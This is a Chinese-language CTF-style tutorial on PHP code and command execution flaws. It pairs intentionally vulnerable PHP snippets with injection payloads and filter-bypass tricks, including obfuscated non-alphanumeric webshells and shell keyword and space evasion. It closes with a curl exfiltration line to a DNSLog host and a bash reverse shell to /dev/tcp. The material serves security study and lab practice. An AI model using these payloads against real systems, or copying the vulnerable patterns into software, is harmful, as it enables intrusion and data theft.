代码执行与命令执行

1. 漏洞介绍

当用户提交的参数被服务端当作代码解析并执行时,就会产生此类漏洞。

  • 广义代码注入: 覆盖大半安全漏洞分类,例如 SQL 注入、XSS 跨站脚本攻击等。

  • 狭义代码执行: 动态代码执行函数的参数过滤不严格,导致用户输入的数据被当作服务端脚本语言(如 PHP、Python、Java 等)代码执行。


2. 常见 PHP 代码执行危险函数

大致分为五类:

(1) eval() 与 assert()

接受字符串,并将其作为脚本执行。当用户可以控制传入的字符串时,即存在代码注入漏洞。

  • eval(string $code):把字符串作为 PHP 代码执行(并非严格意义上的函数,而是语言构造器)。

  • assert(mixed $assertion):检查一个断言是否为 false,如果传入字符串,也会被作为 PHP 代码执行(PHP 7.2 起废弃了字符串执行,PHP 8.0 起彻底移除)。

基础用法:

1
2
3
4
5
<?php
highlight_file(__FILE__);
eval("phpinfo();");
// assert("phpinfo();");
?>

GET/POST 传参利用:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
eval($cmd);
?>
  • 输入 Payload: ?cmd=phpinfo();

进阶:遇到闭合与注释过滤

当开发人员尝试拼接代码并加引号时:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
eval("\$ret = strtolower('$cmd');");
?>
  • 输入 Payload: ?cmd=');phpinfo();//

  • 注意: 如果服务器开启了 magic_quotes_gpc 或使用了 addslashes(),单引号 ' 会被转义为 \',导致上述闭合方法失效。

(2) preg_replace() /e 模式

原本用于执行正则表达式的搜索和替换。但如果使用了危险的 /e 修饰符,preg_replace() 会将 replacement 参数当作 PHP 代码执行。

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
// 将匹配到的内容替换为 $cmd 的执行结果
preg_replace('/<data>(.*)<\/data>/e', '$ret="\\1";', $cmd);
echo $ret;
?>
  • 输入 Payload: ?cmd=<data>{${phpinfo()}}</data>

(3) create_function() 匿名函数注入

主要用来创建匿名函数。如果没有对传递的参数进行严格过滤,攻击者可以闭合原有的函数代码块,从而注入任意代码。

1
2
3
4
5
<?php
// 原理:底层相当于 eval("function __lambda_func(\$args) { $code }");
$func = create_function('', $_REQUEST['cmd']);
$func();
?>
  • 输入 Payload: ?cmd=}phpinfo();/*

(4) 动态函数调用

通过声明变量接收函数名称,随后利用变量名动态调用该函数。

示例 1:常规动态调用

1
2
3
4
5
6
<?php
if(isset($_GET["func"])){
$myfunc = $_GET["func"];
echo $myfunc(); // 将变量值作为函数名执行
}
?>
  • 输入 Payload: ?func=phpinfo

示例 2:动态函数与参数拼接

PHP

1
2
3
<?php
$_GET['a']($_GET['b']);
?>
  • 输入 Payload: ?a=assert&b=phpinfo() (等价于执行 assert(phpinfo());

(5) 回调函数 (Callback)

用户自定义函数可作为参数传递给回调执行函数。

call_user_func() / call_user_func_array()

1
2
3
<?php	
call_user_func($_GET['func'], $_GET['cmd']);
?>
  • 输入 Payload: ?func=assert&cmd=phpinfo()

数组遍历回调:array_filter() / array_map()

1
2
3
4
5
6
<?php
$cmd = $_GET['cmd'];
$func = $_GET['func'];
$array1 = array($cmd);
$result = array_filter($array1, $func); // 使用 $func 过滤 $array1 的每个元素
?>
  • 输入 Payload: ?func=system&cmd=whoami

3. 针对 PHP 代码层面的绕过技巧

当你的 Payload 受到 PHP 逻辑、WAF 黑名单或字符过滤限制时,主要在 PHP 语法层面寻找突破口。

(1) 危险函数的“平替”

当常用的执行函数(如 systemshell_exec)被 PHP 的 disable_functions 禁用时:

  • 直接回显类: passthru()
  • 无直接回显类: exec() (需配合 echo 取最后一行返回)。
  • 符号类: ` 反引号(等同于 shell_exec,例:echo `ls`;)。
  • 底层进程类: popen(), proc_open(), pcntl_exec()(常用于 Bypass disable_functions)。

(2) 纯 PHP 读文件(不依赖系统 Shell 命令)

当无法调用任何系统命令执行函数时,直接使用 PHP 内置的文件系统函数读取:

  • 直接输出: highlight_file('flag.php'), show_source('flag.php'), readfile('flag.php')
  • 需配合输出函数: file_get_contents('flag.php'), file('flag.php') (将文件按行读入数组)
  • 纯 PHP 看目录: print_r(scandir('/'));, var_dump(glob('/*'));

(3) PHP 关键字过滤与编码绕过

当代码中包含过滤了特定敏感词(如 system, flag)的黑名单时:

  • 字符串拼接: ('sy'.'stem')('ls');$a='f'.'lag'; highlight_file($a);
  • 编码转换: Base64:eval(base64_decode('c3lzdGVtKCdscycpOw==')); (还可利用 Hex、URL 编码)。
  • 异或/取反/或 (无数字字母 WebShell): 利用符号位运算生成字符串。例 (~%8F%97%8F%96%91%99%90)() 等同于 phpinfo()

无字母数字 WebShell

当 WAF 极度严格,使用正则(如 /[a-z0-9]/i)过滤了所有英文字母和数字时,我们需要完全利用符号来构造出代码。通常有以下两大流派:

1. 位运算绕过(异或 / 取反 / 或)

利用非字母数字的 ASCII 字符,通过位运算生成目标字母。

  • 异或 (^): 例如 '?' ^ '~' 可以得到字母 A
  • 取反 (~): 利用汉字或其他高位字符的 UTF-8 编码取反运算生成字母。例:(~%8F%97%8F%96%91%99%90)() 等同于 phpinfo()
  • 或 (|): 将两个不可见字符的二进制进行或运算拼出字母。
2. 自增绕过

核心原理: PHP 中存在一个特性,如果对一个字符变量进行自增(++)操作,它会变成下一个字符(例如 'A'++ 变成 'B''Z'++ 变成 'AA''a'++ 变成 'b')。
构造步骤:

  1. 获取初始字母 ‘A’: 我们无法直接输入 ‘A’,但可以通过强制类型转换将空数组变成字符串 "Array",然后提取它的第一个字符。

    1
    2
    3
    $_ = [];         // 定义空数组
    $_ = "$_"; // 数组转字符串,变成 "Array"
    $_ = $_['!'=='@']; // ['!'=='@'] 相当于 [false] 也就是 [0]。取得 "Array"[0],即字母 'A'
  2. 通过自增获取所需字母: 有了 ‘A’,就可以一路 ++ 得到 ‘G’, ‘E’, ‘T’, ‘P’, ‘O’, ‘S’ 等字母。

  3. 构造超全局变量: 将字母拼接成 _GET_POST

  4. 动态执行: 利用 $$_ (可变变量) 接收外部传入的正常参数,从而绕过当前代码块的限制。

经典自增 Payload 解析: 以下是一个完全不包含字母数字,构造 $_GET[_]($_GET[__]) 的经典 Payload:

1
2
3
4
<?php
// 假设环境: eval($_POST['cmd']); 且 cmd 中不能有字母数字
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_=$__++;$__++;$__++;$__++;$___=$___.=;$_=$___.=$___.=$_;$_=$$_;$_[_]($_[__]);
?>
  • 工作流: 最终它等价于 $_GET['_']($_GET['__']);。此时你只需要在 URL 中附带 ?_=system&__=cat /flag,即可实现完美绕过。

  • ⚠️ 版本注意: 自增绕过在 PHP 5 和 PHP 7 环境下非常稳定,但在 PHP 8 中,由于对字符串自增和隐式转换的严格限制,很多基于数组转换 'A' 的方法会抛出 Fatal Error,需要结合其他符号或位运算作为起始字符。

    (4) 参数逃逸 (利用超全局变量)

当 Payload 自身面临极严格的字符限制(如无法输入引号或括号)时,通过将真实 Payload 转移到其他参数位置绕过:

1
2
3
4
5
// 利用 $_GET 传参避开单双引号和关键字过滤
?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

// 无方括号 [] 逃逸法
?c=eval(next(reset(get_defined_vars())));&1=system("tac flag.php");
  • 原理: get_defined_vars() 获取所有已定义变量。reset() 获取第一个元素(通常是 $_GET 数组)。next() 将内部指针移动到第二个元素,提取出 1 的值 system("tac flag.php"); 并丢给 eval 执行。

(5) 文件包含结合伪协议

当执行命令的函数全部被封杀时,利用 include() / require() 替代。如果直接包含 PHP 文件会被解析导致无回显,必须配合伪协议:

1
?c=include('php://filter/read=convert.base64-encode/resource=flag.php');

利用 HTTP 请求头或 Session 机制的 ID 传递 Payload,绕过 URL 或 Body 的检测:

1
2
?c=session_start();system(session_id());
// 请求头中加入: Cookie: PHPSESSID=ls

4. 针对系统 Shell 层面的绕过技巧 (Command Execution Bypass)

当成功调用了 system() 等系统命令函数,但传入的参数受到限制时,你的对抗层面就来到了 Linux Bash 等底层 Shell。

(1) 系统命令与逻辑运算符拼接

用于在同一行执行多条命令:

  • && (与):前一个成功才执行后一个。例:mkdir test && cd test
  • || (或):前一个失败才执行后一个。例:cd not_exist || echo "fail"
  • & (后台):将前一个放到后台,立即并行执行后一个。
  • ; (分号):无论前一个成功与否,继续执行下一个。

(2) Shell 符号过滤与关键字绕过

当底层拦截了 cat, flag 等系统命令关键字时:

  • 引号绕过(打断关键字): 单/双引号 ""'' 定义空字符串。c""at fl''ag.php
  • 反斜杠转义: c\at fl\ag.php
  • 插入空变量: ca$@t fl$1ag.phpcat fl${x}ag.php$@$1 在 Bash 中为空,拼接后不影响原命令)。
  • 通配符匹配: * 匹配任意数量字符,? 匹配单个字符。
    • system("cat f????php");
    • system("cat /e't'c/*ss*");

(3) 空格过滤绕过

在 Shell 环境中,默认由 IFS (Internal Field Separator) 变量控制分隔符:

  • URL 编码: %20 (空格), %09 (Tab)
  • 输入重定向符: <<> (例:cat<flag.php
  • 大括号扩展 (Brace Expansion): {cat,flag.php}
  • IFS 变量替换: $IFS$9, ${IFS}, $IFS

(4) 无回显命令执行 (Blind RCE) 及外带技巧

当系统命令执行的结果被重定向丢弃(如 >/dev/null 2>&1)导致网页无回显时,本质上也是一种 Shell 层面的限制:

1
2
3
4
5
6
7
<?php
function hello_shell($cmd){
// 将不会有任何回显,加上 2>&1 连错误也会被屏蔽
system($cmd." >/dev/null 2>&1");
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
?>

解决思路与外带技巧:

    1. 命令分隔符“截断”

      • 原理: 利用逻辑运算符将 >/dev/null 和我们要执行的命令强行断开。
      • Payload: ?cmd=ls; (最终拼成 ls; >/dev/null 2>&1。第一条命令正常回显,第二条空命令丢入黑洞)。
      • Payload: ?cmd=cat flag.php ||
    1. 结果写入到 Web 文件

      • 原理: 如果有目录写入权限,利用 Shell 重定向 > 将结果保存在网站目录的独立文件中。

      • Payload: ?cmd=cat flag.php > result.txt;

    1. DNSLog 外带数据

      • 原理: 靶机不允许写文件但出网,利用 Shell 的命令执行替换 $(...) 将结果拼接到子域名中发包“带”出来。
      • Payload: ?cmd=curl http://1234.ceye.io/?data=$(cat flag.txt);
    1. 反弹 Shell

      • 原理: 绕开单次 HTTP 请求的限制,直接让靶机的 Bash 进程反向连接攻击机。
      • Payload: ?cmd=bash -i >& /dev/tcp/1.1.1.1/6666 0>&1;